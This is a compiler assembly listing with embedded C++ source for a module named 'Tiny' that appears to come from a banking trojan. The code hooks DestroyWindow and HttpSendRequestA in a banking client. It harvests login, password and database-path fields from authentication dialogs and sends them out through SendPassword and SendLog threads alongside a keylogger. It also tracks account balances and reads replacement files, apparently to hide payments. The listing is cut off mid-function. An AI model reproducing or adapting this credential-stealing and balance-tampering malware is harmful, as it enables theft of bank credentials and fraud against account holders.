;	COMDAT ??_C@_08FJIAHGMM@Password?$AA@
CONST	SEGMENT
??_C@_08FJIAHGMM@Password?$AA@ DB 'Password', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_05DHEMANOL@Login?$AA@
CONST	SEGMENT
??_C@_05DHEMANOL@Login?$AA@ DB 'Login', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?SendGrabData@Tiny@@YAKPAUForFindControl@1@@Z
_TEXT	SEGMENT
_imdb$ = -4						; size = 4
_ffc$ = 8						; size = 4
?SendGrabData@Tiny@@YAKPAUForFindControl@1@@Z PROC	; Tiny::SendGrabData, COMDAT
; 481  : {
  00000	51		 push	 ecx
  00001	53		 push	 ebx
  00002	55		 push	 ebp
  00003	56		 push	 esi
  00004	57		 push	 edi
; 482  : 	TMemory resultGrab(512);
  00005	68 00 02 00 00	 push	 512			; 00000200H
  0000a	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
; 483  : 	resultGrab.AsStr()[0] = 0;
; 484  : 	int ilogin = 0;
; 485  : 	int imdb = 1;
; 486  : 	//
; 487  : 	//
; 488  : 	if( m_lstrlen(ffc->texts[0]) > m_lstrlen(ffc->texts[1]) )
  0000f	8b 7c 24 1c	 mov	 edi, DWORD PTR _ffc$[esp+20]
  00013	8b f0		 mov	 esi, eax
  00015	59		 pop	 ecx
  00016	c6 06 00	 mov	 BYTE PTR [esi], 0
  00019	ff 77 10	 push	 DWORD PTR [edi+16]
  0001c	33 ed		 xor	 ebp, ebp
  0001e	c7 44 24 14 01
	00 00 00	 mov	 DWORD PTR _imdb$[esp+24], 1
  00026	e8 00 00 00 00	 call	 ?m_lstrlen@@YGKPBD@Z	; m_lstrlen
  0002b	ff 77 0c	 push	 DWORD PTR [edi+12]
  0002e	8b d8		 mov	 ebx, eax
  00030	e8 00 00 00 00	 call	 ?m_lstrlen@@YGKPBD@Z	; m_lstrlen
  00035	3b c3		 cmp	 eax, ebx
  00037	76 05		 jbe	 SHORT $LN25@SendGrabDa
; 489  : 	{
; 490  : 		ilogin = 1;
  00039	45		 inc	 ebp
; 491  : 		imdb = 0;
  0003a	33 db		 xor	 ebx, ebx
  0003c	eb 04		 jmp	 SHORT $LN4@SendGrabDa
$LN25@SendGrabDa:
  0003e	8b 5c 24 10	 mov	 ebx, DWORD PTR _imdb$[esp+20]
$LN4@SendGrabDa:
; 492  : 	}
; 493  : 	AddStrLog( "Login", ffc->texts[ilogin], resultGrab.AsStr() );
  00042	ff 74 af 0c	 push	 DWORD PTR [edi+ebp*4+12]
  00046	68 00 00 00 00	 push	 OFFSET ??_C@_05DHEMANOL@Login?$AA@
  0004b	e8 00 00 00 00	 call	 ?AddStrLog@Tiny@@YAXPBD0PAD@Z ; Tiny::AddStrLog
; 494  : 	AddStrLog( "Password", ffc->texts[2], resultGrab.AsStr() );
  00050	ff 77 14	 push	 DWORD PTR [edi+20]
  00053	68 00 00 00 00	 push	 OFFSET ??_C@_08FJIAHGMM@Password?$AA@
  00058	e8 00 00 00 00	 call	 ?AddStrLog@Tiny@@YAXPBD0PAD@Z ; Tiny::AddStrLog
; 495  : 	SafeCopyStr( passwordClient, sizeof(passwordClient), ffc->texts[2] );
  0005d	ff 77 14	 push	 DWORD PTR [edi+20]
  00060	6a 64		 push	 100			; 00000064H
  00062	68 00 00 00 00	 push	 OFFSET _passwordClient
  00067	e8 00 00 00 00	 call	 ?SafeCopyStr@@YAPADPADHPBD@Z ; SafeCopyStr
; 496  : 	RunThread( SendPassword, 0 );
  0006c	6a 00		 push	 0
  0006e	68 00 00 00 00	 push	 OFFSET ?SendPassword@Tiny@@YGKPAX@Z ; Tiny::SendPassword
  00073	e8 00 00 00 00	 call	 ?RunThread@@YAXPAX0@Z	; RunThread
; 497  : 	AddStrLog( "Path database", ffc->texts[imdb], resultGrab.AsStr() );
  00078	8d 6c 9f 0c	 lea	 ebp, DWORD PTR [edi+ebx*4+12]
  0007c	ff 75 00	 push	 DWORD PTR [ebp]
  0007f	68 00 00 00 00	 push	 OFFSET ??_C@_0O@LADICFLC@Path?5database?$AA@
  00084	e8 00 00 00 00	 call	 ?AddStrLog@Tiny@@YAXPBD0PAD@Z ; Tiny::AddStrLog
; 498  : 	AddStrLog( "Path client", folderTiny, resultGrab.AsStr() );
  00089	68 00 00 00 00	 push	 OFFSET ?folderTiny@Tiny@@3PADA ; Tiny::folderTiny
  0008e	68 00 00 00 00	 push	 OFFSET ??_C@_0M@JMMMJPOA@Path?5client?$AA@
  00093	e8 00 00 00 00	 call	 ?AddStrLog@Tiny@@YAXPBD0PAD@Z ; Tiny::AddStrLog
  00098	83 c4 34	 add	 esp, 52			; 00000034H
; 499  : 	m_lstrcpy( pathMDB, ffc->texts[imdb] );
  0009b	ff 75 00	 push	 DWORD PTR [ebp]
  0009e	68 00 00 00 00	 push	 OFFSET _pathMDB
  000a3	e8 00 00 00 00	 call	 ?m_lstrcpy@@YGXPADPBD@Z	; m_lstrcpy
; 500  : 	VideoProcess::SendLog( 0, "tiny", 0, resultGrab.AsStr() );
  000a8	56		 push	 esi
  000a9	33 db		 xor	 ebx, ebx
  000ab	53		 push	 ebx
  000ac	68 00 00 00 00	 push	 OFFSET ??_C@_04MPBFNCPB@tiny?$AA@
  000b1	53		 push	 ebx
  000b2	e8 00 00 00 00	 call	 ?SendLog@VideoProcess@@YA_NHPBDH0@Z ; VideoProcess::SendLog
  000b7	83 c4 10	 add	 esp, 16			; 00000010H
; 501  : 	for( int i = 0; i < ffc->count; i++ ) STR::Free( ffc->texts[i] );
  000ba	39 5f 18	 cmp	 DWORD PTR [edi+24], ebx
  000bd	7e 15		 jle	 SHORT $LN1@SendGrabDa
; 492  : 	}
; 493  : 	AddStrLog( "Login", ffc->texts[ilogin], resultGrab.AsStr() );
  000bf	8d 6f 0c	 lea	 ebp, DWORD PTR [edi+12]
$LL3@SendGrabDa:
; 501  : 	for( int i = 0; i < ffc->count; i++ ) STR::Free( ffc->texts[i] );
  000c2	ff 75 00	 push	 DWORD PTR [ebp]
  000c5	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  000ca	43		 inc	 ebx
  000cb	83 c5 04	 add	 ebp, 4
  000ce	3b 5f 18	 cmp	 ebx, DWORD PTR [edi+24]
  000d1	59		 pop	 ecx
  000d2	7c ee		 jl	 SHORT $LL3@SendGrabDa
$LN1@SendGrabDa:
; 502  : 	MemFree(ffc);
  000d4	57		 push	 edi
  000d5	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
; 503  : 	GrabKeys();
  000da	e8 00 00 00 00	 call	 ?GrabKeys@Tiny@@YAXXZ	; Tiny::GrabKeys
; 504  : 	pSleep(2000); //
  000df	c7 04 24 d0 07
	00 00		 mov	 DWORD PTR [esp], 2000	; 000007d0H
  000e6	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
; 505  : 
; 506  : //	DWORD unhook[]  = { 0xEB4A6DB3 /* DestroyWindow */, 0 };
; 507  : //	RestoreFuncs( DLL_USER32,  unhook );
; 508  : 
; 509  : 	KeyLogger::CloseSession();
  000eb	e8 00 00 00 00	 call	 ?CloseSession@KeyLogger@@YAXXZ ; KeyLogger::CloseSession
; 510  : 
; 511  : 	return 0;
  000f0	56		 push	 esi
  000f1	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  000f6	59		 pop	 ecx
  000f7	59		 pop	 ecx
  000f8	5f		 pop	 edi
  000f9	5e		 pop	 esi
  000fa	5d		 pop	 ebp
  000fb	33 c0		 xor	 eax, eax
  000fd	5b		 pop	 ebx
; 512  : }
  000fe	59		 pop	 ecx
  000ff	c3		 ret	 0
?SendGrabData@Tiny@@YAKPAUForFindControl@1@@Z ENDP	; Tiny::SendGrabData
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?SendGrabPassword@Tiny@@YAKPAUForFindControl@1@@Z
_TEXT	SEGMENT
_ffc$ = 8						; size = 4
?SendGrabPassword@Tiny@@YAKPAUForFindControl@1@@Z PROC	; Tiny::SendGrabPassword, COMDAT
; 515  : {
  00000	53		 push	 ebx
  00001	55		 push	 ebp
  00002	56		 push	 esi
  00003	57		 push	 edi
; 516  : 	TMemory resultGrab(512);
  00004	68 00 02 00 00	 push	 512			; 00000200H
  00009	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
; 517  : 	resultGrab.AsStr()[0] = 0;
; 518  : 	AddStrLog( "Password", ffc->texts[0], resultGrab.AsStr() );
  0000e	8b 6c 24 18	 mov	 ebp, DWORD PTR _ffc$[esp+16]
  00012	8b f0		 mov	 esi, eax
  00014	33 db		 xor	 ebx, ebx
  00016	88 1e		 mov	 BYTE PTR [esi], bl
  00018	8d 7d 0c	 lea	 edi, DWORD PTR [ebp+12]
  0001b	ff 37		 push	 DWORD PTR [edi]
  0001d	68 00 00 00 00	 push	 OFFSET ??_C@_08FJIAHGMM@Password?$AA@
  00022	e8 00 00 00 00	 call	 ?AddStrLog@Tiny@@YAXPBD0PAD@Z ; Tiny::AddStrLog
; 519  : 	SafeCopyStr( passwordClient, sizeof(passwordClient), ffc->texts[0] );
  00027	ff 37		 push	 DWORD PTR [edi]
  00029	6a 64		 push	 100			; 00000064H
  0002b	68 00 00 00 00	 push	 OFFSET _passwordClient
  00030	e8 00 00 00 00	 call	 ?SafeCopyStr@@YAPADPADHPBD@Z ; SafeCopyStr
; 520  : 	RunThread( SendPassword, 0 );
  00035	53		 push	 ebx
  00036	68 00 00 00 00	 push	 OFFSET ?SendPassword@Tiny@@YGKPAX@Z ; Tiny::SendPassword
  0003b	e8 00 00 00 00	 call	 ?RunThread@@YAXPAX0@Z	; RunThread
; 521  : 	VideoProcess::SendLog( 0, "tiny", 0, resultGrab.AsStr() );
  00040	56		 push	 esi
  00041	53		 push	 ebx
  00042	68 00 00 00 00	 push	 OFFSET ??_C@_04MPBFNCPB@tiny?$AA@
  00047	53		 push	 ebx
  00048	e8 00 00 00 00	 call	 ?SendLog@VideoProcess@@YA_NHPBDH0@Z ; VideoProcess::SendLog
  0004d	83 c4 30	 add	 esp, 48			; 00000030H
; 522  : 	for( int i = 0; i < ffc->count; i++ ) STR::Free( ffc->texts[i] );
  00050	39 5d 18	 cmp	 DWORD PTR [ebp+24], ebx
  00053	7e 11		 jle	 SHORT $LN1@SendGrabPa
$LL3@SendGrabPa:
  00055	ff 37		 push	 DWORD PTR [edi]
  00057	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  0005c	43		 inc	 ebx
  0005d	83 c7 04	 add	 edi, 4
  00060	3b 5d 18	 cmp	 ebx, DWORD PTR [ebp+24]
  00063	59		 pop	 ecx
  00064	7c ef		 jl	 SHORT $LL3@SendGrabPa
$LN1@SendGrabPa:
; 523  : 	MemFree(ffc);
  00066	55		 push	 ebp
  00067	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
; 524  : 	GrabKeys();
  0006c	e8 00 00 00 00	 call	 ?GrabKeys@Tiny@@YAXXZ	; Tiny::GrabKeys
; 525  : 	pSleep(2000); //
  00071	c7 04 24 d0 07
	00 00		 mov	 DWORD PTR [esp], 2000	; 000007d0H
  00078	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
; 526  : 
; 527  : //	DWORD unhook[]  = { 0xEB4A6DB3 /* DestroyWindow */, 0 };	
; 528  : //	RestoreFuncs( DLL_USER32,  unhook );
; 529  : 
; 530  : 	KeyLogger::CloseSession();
  0007d	e8 00 00 00 00	 call	 ?CloseSession@KeyLogger@@YAXXZ ; KeyLogger::CloseSession
; 531  : 
; 532  : 	return 0;
  00082	56		 push	 esi
  00083	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00088	59		 pop	 ecx
  00089	59		 pop	 ecx
  0008a	5f		 pop	 edi
  0008b	5e		 pop	 esi
  0008c	5d		 pop	 ebp
  0008d	33 c0		 xor	 eax, eax
  0008f	5b		 pop	 ebx
; 533  : }
  00090	c3		 ret	 0
?SendGrabPassword@Tiny@@YAKPAUForFindControl@1@@Z ENDP	; Tiny::SendGrabPassword
_TEXT	ENDS
_BSS	SEGMENT
_RealDestroyWindow DD 01H DUP (?)
; Function compile flags: /Ogspy
_BSS	ENDS
;	COMDAT ?HandlerDestroyWindow@Tiny@@YGHPAUHWND__@@@Z
_TEXT	SEGMENT
_hwnd$ = 8						; size = 4
?HandlerDestroyWindow@Tiny@@YGHPAUHWND__@@@Z PROC	; Tiny::HandlerDestroyWindow, COMDAT
; 561  : {
  00000	56		 push	 esi
  00001	57		 push	 edi
; 562  : 	DWORD hash = GetWndClassHash(hwnd);
  00002	8b 7c 24 0c	 mov	 edi, DWORD PTR _hwnd$[esp+4]
  00006	6a 00		 push	 0
  00008	57		 push	 edi
  00009	e8 00 00 00 00	 call	 ?GetWndClassHash@@YAKPAUHWND__@@_N@Z ; GetWndClassHash
  0000e	59		 pop	 ecx
  0000f	59		 pop	 ecx
; 563  : 	if( HashTfAuthNew == hash )
  00010	3d 58 b5 de 19	 cmp	 eax, 434025816		; 19deb558H
  00015	75 31		 jne	 SHORT $LN10@HandlerDes
; 564  : 	{
; 565  : 		DBG( "Tiny", "
; 566  : 		ForFindControl* ffc = (ForFindControl*)MemAlloc(sizeof(ForFindControl));
  00017	6a 20		 push	 32			; 00000020H
  00019	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  0001e	8b f0		 mov	 esi, eax
; 567  : 		ffc->count = 0;
  00020	83 66 18 00	 and	 DWORD PTR [esi+24], 0
; 568  : 		ffc->hashs = GrabControls;
; 569  : 		pEnumChildWindows( hwnd, EnumChildProc, ffc );
  00024	56		 push	 esi
  00025	68 00 00 00 00	 push	 OFFSET ?EnumChildProc@Tiny@@YGHPAUHWND__@@J@Z ; Tiny::EnumChildProc
  0002a	57		 push	 edi
  0002b	c7 46 1c 00 00
	00 00		 mov	 DWORD PTR [esi+28], OFFSET ?GrabControls@Tiny@@3PAKA ; Tiny::GrabControls
  00032	e8 00 00 00 00	 call	 ??$pushargEx@$02$0KOIKFFDC@$0BBM@PAUHWND__@@P6GHPAU1@J@ZPAUForFindControl@Tiny@@@@YAPAXPAUHWND__@@P6GH0J@ZPAUForFindControl@Tiny@@@Z ; pushargEx<3,2928301362,284,HWND__ *,int (__stdcall*)(HWND__ *,long),Tiny::ForFindControl *>
  00037	83 c4 10	 add	 esp, 16			; 00000010H
; 570  : 		if( ffc->count >= 3 )
  0003a	83 7e 18 03	 cmp	 DWORD PTR [esi+24], 3
  0003e	7c 7c		 jl	 SHORT $LN1@HandlerDes
$LN21@HandlerDes:
; 571  : 			RunThread( SendGrabData, ffc );
  00040	56		 push	 esi
  00041	68 00 00 00 00	 push	 OFFSET ?SendGrabData@Tiny@@YAKPAUForFindControl@1@@Z ; Tiny::SendGrabData
; 572  : 	}
  00046	eb 6d		 jmp	 SHORT $LN19@HandlerDes
$LN10@HandlerDes:
; 573  : 	else if( HashTPasswordDlg == hash )
  00048	3d 28 7d 7c df	 cmp	 eax, -545489624		; df7c7d28H
  0004d	75 30		 jne	 SHORT $LN7@HandlerDes
; 574  : 	{
; 575  : 		DBG( "Tiny", "
; 576  : 		ForFindControl* ffc = (ForFindControl*)MemAlloc(sizeof(ForFindControl));
  0004f	6a 20		 push	 32			; 00000020H
  00051	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00056	8b f0		 mov	 esi, eax
; 577  : 		ffc->count = 0;
  00058	83 66 18 00	 and	 DWORD PTR [esi+24], 0
; 578  : 		ffc->hashs = GrabControls;
; 579  : 		pEnumChildWindows( hwnd, EnumChildProc, ffc );
  0005c	56		 push	 esi
  0005d	68 00 00 00 00	 push	 OFFSET ?EnumChildProc@Tiny@@YGHPAUHWND__@@J@Z ; Tiny::EnumChildProc
  00062	57		 push	 edi
  00063	c7 46 1c 00 00
	00 00		 mov	 DWORD PTR [esi+28], OFFSET ?GrabControls@Tiny@@3PAKA ; Tiny::GrabControls
  0006a	e8 00 00 00 00	 call	 ??$pushargEx@$02$0KOIKFFDC@$0BBM@PAUHWND__@@P6GHPAU1@J@ZPAUForFindControl@Tiny@@@@YAPAXPAUHWND__@@P6GH0J@ZPAUForFindControl@Tiny@@@Z ; pushargEx<3,2928301362,284,HWND__ *,int (__stdcall*)(HWND__ *,long),Tiny::ForFindControl *>
; 580  : 		if( ffc->count >= 3 ) //
  0006f	8b 46 18	 mov	 eax, DWORD PTR [esi+24]
  00072	83 c4 10	 add	 esp, 16			; 00000010H
  00075	83 f8 03	 cmp	 eax, 3
; 581  : 			RunThread( SendGrabData, ffc );
; 582  : 		else
  00078	7d c6		 jge	 SHORT $LN21@HandlerDes
; 583  : 			if( ffc->count >= 1 ) //
  0007a	83 f8 01	 cmp	 eax, 1
; 584  : 				RunThread( SendGrabPassword, ffc );
; 585  : 	}
  0007d	eb 2e		 jmp	 SHORT $LN20@HandlerDes
$LN7@HandlerDes:
; 586  : 	else if ( HashTKeyPasswordDlg == hash ) //
  0007f	3d 7a dc 29 81	 cmp	 eax, -2127963014	; 8129dc7aH
  00084	75 36		 jne	 SHORT $LN1@HandlerDes
; 587  : 	{
; 588  : 		DBG( "Tiny", "
; 589  : 		ForFindControl* ffc = (ForFindControl*)MemAlloc(sizeof(ForFindControl));
  00086	6a 20		 push	 32			; 00000020H
  00088	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  0008d	8b f0		 mov	 esi, eax
; 590  : 		ffc->count = 0;
  0008f	83 66 18 00	 and	 DWORD PTR [esi+24], 0
; 591  : 		ffc->hashs = GrabControls;
; 592  : 		pEnumChildWindows( hwnd, EnumChildProc, ffc );
  00093	56		 push	 esi
  00094	68 00 00 00 00	 push	 OFFSET ?EnumChildProc@Tiny@@YGHPAUHWND__@@J@Z ; Tiny::EnumChildProc
  00099	57		 push	 edi
  0009a	c7 46 1c 00 00
	00 00		 mov	 DWORD PTR [esi+28], OFFSET ?GrabControls@Tiny@@3PAKA ; Tiny::GrabControls
  000a1	e8 00 00 00 00	 call	 ??$pushargEx@$02$0KOIKFFDC@$0BBM@PAUHWND__@@P6GHPAU1@J@ZPAUForFindControl@Tiny@@@@YAPAXPAUHWND__@@P6GH0J@ZPAUForFindControl@Tiny@@@Z ; pushargEx<3,2928301362,284,HWND__ *,int (__stdcall*)(HWND__ *,long),Tiny::ForFindControl *>
  000a6	83 c4 10	 add	 esp, 16			; 00000010H
; 593  : 		if( ffc->count >= 1 ) 
  000a9	83 7e 18 01	 cmp	 DWORD PTR [esi+24], 1
$LN20@HandlerDes:
  000ad	7c 0d		 jl	 SHORT $LN1@HandlerDes
; 594  : 			RunThread( SendGrabPassword, ffc );
  000af	56		 push	 esi
  000b0	68 00 00 00 00	 push	 OFFSET ?SendGrabPassword@Tiny@@YAKPAUForFindControl@1@@Z ; Tiny::SendGrabPassword
$LN19@HandlerDes:
  000b5	e8 00 00 00 00	 call	 ?RunThread@@YAXPAX0@Z	; RunThread
  000ba	59		 pop	 ecx
  000bb	59		 pop	 ecx
$LN1@HandlerDes:
; 595  : 	}
; 596  : 
; 597  : 	return RealDestroyWindow(hwnd);
  000bc	57		 push	 edi
  000bd	ff 15 00 00 00
	00		 call	 DWORD PTR _RealDestroyWindow
  000c3	5f		 pop	 edi
  000c4	5e		 pop	 esi
; 598  : }
  000c5	c2 04 00	 ret	 4
?HandlerDestroyWindow@Tiny@@YGHPAUHWND__@@@Z ENDP	; Tiny::HandlerDestroyWindow
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?SetHooks@Tiny@@YA_NXZ
_TEXT	SEGMENT
?SetHooks@Tiny@@YA_NXZ PROC				; Tiny::SetHooks, COMDAT
; 960  : 	if( HookApi( DLL_USER32, 0xEB4A6DB3, &HandlerDestroyWindow, &RealDestroyWindow ) )
  00000	68 00 00 00 00	 push	 OFFSET _RealDestroyWindow
  00005	68 00 00 00 00	 push	 OFFSET ?HandlerDestroyWindow@Tiny@@YGHPAUHWND__@@@Z ; Tiny::HandlerDestroyWindow
  0000a	68 b3 6d 4a eb	 push	 -347443789		; eb4a6db3H
  0000f	6a 03		 push	 3
  00011	e8 00 00 00 00	 call	 ?HookApi@@YAPAXKKPAX0@Z	; HookApi
; 961  : 	{
; 962  : 		DBG( "Tiny", "
 DestroyWindow" );
; 963  : 	}
; 964  : //	if( HookApi( DLL_WINSOCK, 0xEDD8FE8A, &HandlerConnect, &RealConnect ) )
; 965  : //	{
; 966  : //		DBG( "Tiny", "
 Conenct" );
; 967  : //	}
; 968  : 	if( HookApi( DLL_WININET, 0x9F13856A, &HandlerHttpSendRequestA, &RealHttpSendRequestA ) )
  00016	68 00 00 00 00	 push	 OFFSET _RealHttpSendRequestA
  0001b	68 00 00 00 00	 push	 OFFSET ?HandlerHttpSendRequestA@Tiny@@YGHPAXPBDK0K@Z ; Tiny::HandlerHttpSendRequestA
  00020	68 6a 85 13 9f	 push	 -1626110614		; 9f13856aH
  00025	6a 08		 push	 8
  00027	e8 00 00 00 00	 call	 ?HookApi@@YAPAXKKPAX0@Z	; HookApi
  0002c	83 c4 20	 add	 esp, 32			; 00000020H
; 969  : 	{
; 970  : 		DBG( "Tiny", "
 HttpSendRequest" );
; 971  : 	}
; 972  : 	return true;
  0002f	b0 01		 mov	 al, 1
; 973  : }
  00031	c3		 ret	 0
?SetHooks@Tiny@@YA_NXZ ENDP				; Tiny::SetHooks
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?FSF_SelectAmountsOld@Tiny@@YAHPA_WH@Z
_TEXT	SEGMENT
_sql$ = 8						; size = 4
_len$ = 12						; size = 4
?FSF_SelectAmountsOld@Tiny@@YAHPA_WH@Z PROC		; Tiny::FSF_SelectAmountsOld, COMDAT
; 1019 : 	DBG( "Tiny", "FSF_SelectAmountsOld(): 
, %ls", sql );
; 1020 : 	RunThread( SendBalanceOld, 0 );
  00000	6a 00		 push	 0
  00002	68 00 00 00 00	 push	 OFFSET ?SendBalanceOld@Tiny@@YGKPAX@Z ; Tiny::SendBalanceOld
  00007	e8 00 00 00 00	 call	 ?RunThread@@YAXPAX0@Z	; RunThread
  0000c	59		 pop	 ecx
; 1021 : 	return 1; //
  0000d	33 c0		 xor	 eax, eax
  0000f	59		 pop	 ecx
  00010	40		 inc	 eax
; 1022 : }
  00011	c3		 ret	 0
?FSF_SelectAmountsOld@Tiny@@YAHPA_WH@Z ENDP		; Tiny::FSF_SelectAmountsOld
_TEXT	ENDS
EXTRN	?m_wcscpy@@YAPA_WPA_WH0@Z:PROC			; m_wcscpy
; Function compile flags: /Ogspy
;	COMDAT ?FV_FullName_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z
_TEXT	SEGMENT
_v$ = 8							; size = 4
?FV_FullName_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z PROC	; Tiny::FV_FullName_Amounts, COMDAT
; 1108 : 	if( stateSQL == 2 )
  00000	83 3d 00 00 00
	00 02		 cmp	 DWORD PTR _stateSQL, 2
  00007	75 69		 jne	 SHORT $LN2@FV_FullNam
; 1109 : 	{
; 1110 : 		m_wcscpy( accountClient[currAccount].name, ARRAYSIZE(accountClient[currAccount].name), v->bstrVal );
  00009	8b 44 24 04	 mov	 eax, DWORD PTR _v$[esp-4]
  0000d	ff 70 08	 push	 DWORD PTR [eax+8]
  00010	a1 00 00 00 00	 mov	 eax, DWORD PTR _currAccount
  00015	69 c0 30 01 00
	00		 imul	 eax, 304		; 00000130H
  0001b	05 30 00 00 00	 add	 eax, OFFSET _accountClient+48
  00020	68 80 00 00 00	 push	 128			; 00000080H
  00025	50		 push	 eax
  00026	e8 00 00 00 00	 call	 ?m_wcscpy@@YAPA_WPA_WH0@Z ; m_wcscpy
; 1111 : 		DBG( "Tiny", "name account: '%ls'", accountClient[currAccount].name );
; 1112 : 		if( accountClient[currAccount].oldBalance != accountClient[currAccount].balance )
  0002b	a1 00 00 00 00	 mov	 eax, DWORD PTR _currAccount
  00030	69 c0 30 01 00
	00		 imul	 eax, 304		; 00000130H
  00036	8b 88 28 00 00
	00		 mov	 ecx, DWORD PTR _accountClient[eax+40]
  0003c	83 c4 0c	 add	 esp, 12			; 0000000cH
  0003f	3b 88 20 00 00
	00		 cmp	 ecx, DWORD PTR _accountClient[eax+32]
  00045	75 0e		 jne	 SHORT $LN7@FV_FullNam
  00047	8b 88 2c 00 00
	00		 mov	 ecx, DWORD PTR _accountClient[eax+44]
  0004d	3b 88 24 00 00
	00		 cmp	 ecx, DWORD PTR _accountClient[eax+36]
  00053	74 13		 je	 SHORT $LN1@FV_FullNam
$LN7@FV_FullNam:
; 1113 : 		{
; 1114 : 			RunThread( SendBalance, &accountClient[currAccount] );
  00055	8d 80 00 00 00
	00		 lea	 eax, DWORD PTR _accountClient[eax]
  0005b	50		 push	 eax
  0005c	68 00 00 00 00	 push	 OFFSET ?SendBalance@Tiny@@YGKPAUInfoAccount@1@@Z ; Tiny::SendBalance
  00061	e8 00 00 00 00	 call	 ?RunThread@@YAXPAX0@Z	; RunThread
  00066	59		 pop	 ecx
  00067	59		 pop	 ecx
$LN1@FV_FullNam:
; 1115 : 		}
; 1116 : 		stateSQL = 1;
  00068	c7 05 00 00 00
	00 01 00 00 00	 mov	 DWORD PTR _stateSQL, 1
$LN2@FV_FullNam:
; 1117 : 	}
; 1118 : }
  00072	c3		 ret	 0
?FV_FullName_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z ENDP	; Tiny::FV_FullName_Amounts
_TEXT	ENDS
EXTRN	?TinyOldDocs@@3PADA:BYTE			; TinyOldDocs
EXTRN	?ReadToBufferA@File@@YAPAEPBDAAK@Z:PROC		; File::ReadToBufferA
EXTRN	?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z:PROC ; BOT::MakeFileName
EXTRN	?GetStr@@YA?AV?$TString@D@@PBD@Z:PROC		; GetStr
EXTRN	?TinyOldBalans@@3PADA:BYTE			; TinyOldBalans
; Function compile flags: /Ogspy
;	COMDAT ?ReadReplacement@Tiny@@YAXPBD@Z
_TEXT	SEGMENT
_account$100667 = -96					; size = 32
_account$100617 = -64					; size = 32
$T102051 = -32						; size = 8
$T102048 = -32						; size = 8
$T102050 = -24						; size = 8
$T102049 = -24						; size = 8
_size$ = -16						; size = 4
tv540 = -12						; size = 4
tv473 = -12						; size = 4
_hidePayments2$ = -8					; size = 4
_len$100623 = -8					; size = 4
_restAccounts2$ = -4					; size = 4
?ReadReplacement@Tiny@@YAXPBD@Z PROC			; Tiny::ReadReplacement, COMDAT
; _s$ = eax
; 1265 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 60	 sub	 esp, 96			; 00000060H
  00006	53		 push	 ebx
  00007	56		 push	 esi
  00008	8b f0		 mov	 esi, eax
  0000a	57		 push	 edi
; 1266 : 	//
; 1267 : 	int n = 0;
; 1268 : 	DWORD size;
; 1269 : 	RestAccount* restAccounts2 = (RestAccount*)File::ReadToBufferA( BOT::MakeFileName( 0, GetStr(TinyOldBalans).t_str() ).t_str(), size );
  0000b	8d 45 f0	 lea	 eax, DWORD PTR _size$[ebp]
  0000e	50		 push	 eax
  0000f	8d 45 e0	 lea	 eax, DWORD PTR $T102048[ebp]
  00012	68 00 00 00 00	 push	 OFFSET ?TinyOldBalans@@3PADA ; TinyOldBalans
  00017	50		 push	 eax
  00018	e8 00 00 00 00	 call	 ?GetStr@@YA?AV?$TString@D@@PBD@Z ; GetStr
  0001d	59		 pop	 ecx
  0001e	59		 pop	 ecx
  0001f	8b c8		 mov	 ecx, eax
  00021	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00026	50		 push	 eax
  00027	33 db		 xor	 ebx, ebx
  00029	8d 45 e8	 lea	 eax, DWORD PTR $T102049[ebp]
  0002c	53		 push	 ebx
  0002d	50		 push	 eax
  0002e	e8 00 00 00 00	 call	 ?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z ; BOT::MakeFileName
  00033	83 c4 0c	 add	 esp, 12			; 0000000cH
  00036	8b c8		 mov	 ecx, eax
  00038	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  0003d	50		 push	 eax
  0003e	e8 00 00 00 00	 call	 ?ReadToBufferA@File@@YAPAEPBDAAK@Z ; File::ReadToBufferA
  00043	59		 pop	 ecx
  00044	59		 pop	 ecx
  00045	8d 4d e8	 lea	 ecx, DWORD PTR $T102049[ebp]
  00048	89 45 fc	 mov	 DWORD PTR _restAccounts2$[ebp], eax
  0004b	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00050	8d 4d e0	 lea	 ecx, DWORD PTR $T102048[ebp]
  00053	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 1270 : 	m_memset( &restAccounts, 0, sizeof(restAccounts) );
  00058	68 20 03 00 00	 push	 800			; 00000320H
  0005d	53		 push	 ebx
  0005e	bf 00 00 00 00	 mov	 edi, OFFSET _restAccounts
  00063	57		 push	 edi
  00064	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
  00069	83 c4 0c	 add	 esp, 12			; 0000000cH
; 1271 : 	while( *s )
